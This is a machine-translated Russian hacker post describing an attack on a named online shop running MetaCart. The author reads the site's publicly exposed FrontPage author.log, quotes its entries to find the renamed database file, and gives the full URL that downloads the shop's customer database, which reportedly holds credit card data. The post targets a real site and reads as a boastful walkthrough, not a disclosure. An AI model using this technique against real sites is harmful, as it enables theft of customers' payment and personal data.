This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

Уязвимость metacart

 

Путешествуя как-то по инету наткнулся я на небольшой такой интернет-магазинчик, торгующий нехитрыми ценностями американской демократии.
И возникла у меня мысль узнать как часто они проявляют патриотические чувства, тем более что, магазин принимает не только чеки но и сс.
Полазив по сайту я понял, что магазин-то работает на системе metacart, но стандартные запросы типа www.swimamerica.org/metacart/database/metacart.mdb или www.swimamerica.org/metacart/metacart.mdb не действовали.
Видно админ сменил название базы. Тогда решил я проверить сайт на наличие дырявых скриптов, серьезных багов не оказалось, зато встретился очень интересный файл author.log (www.swimamerica.org/_vti_log/author.log - он до сих пор там , где было много мусора типа:
[18 Jun 2002 12:54:47 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] kjsaabout.htm
[18 Jun 2002 12:55:47 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] babieslearntofloat.htm
[18 Jun 2002 12:56:06 -0600] 66.176.193.110 asca /KJSwimAmerica [put document] babieslearntofloat.htm
[18 Jun 2002 12:56:15 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] toddlerlessons.htm
[18 Jun 2002 12:56:29 -0600] 66.176.193.110 asca /KJSwimAmerica [put document] toddlerlessons.htm
[18 Jun 2002 12:56:40 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] lessons.htm
[18 Jun 2002 12:57:18 -0600] 66.176.193.110 asca /KJSwimAmerica [put document] lessons.htm
[18 Jun 2002 12:57:29 -0600] 66.176.193.110 asca /KJSwimAmerica [get document] semiprivatelessons.htm
Но были и очень интересные строки:
[19 Jun 2002 08:12:41 -0600] 66.176.193.110 asca / [get document] metacart/productsByCategory.asp
[19 Jun 2002 08:16:05 -0600] 66.176.193.110 asca / [get document] metacart/product.asp
[19 Jun 2002 08:32:29 -0600] 66.176.193.110 asca / [put document] metacart/database/mcart2.mdb
В последней как вы уже поняли, указаны директории и имя базы магазина: metacart/database/mcart2.mdb. Админ видать не особенно гиморился с названием.
Осталось ввести в браузер полный урл www.swimamerica.org/metacart/database/mcart2.mdb и ждать пока сольется вся база.
Вот вроде и все.

Твой bug Durito.
_________________
EAT THE RICH!


Дата створення/оновлення: 25.05.2018

stop war in Ukraine

ukrTrident

stand with Ukraine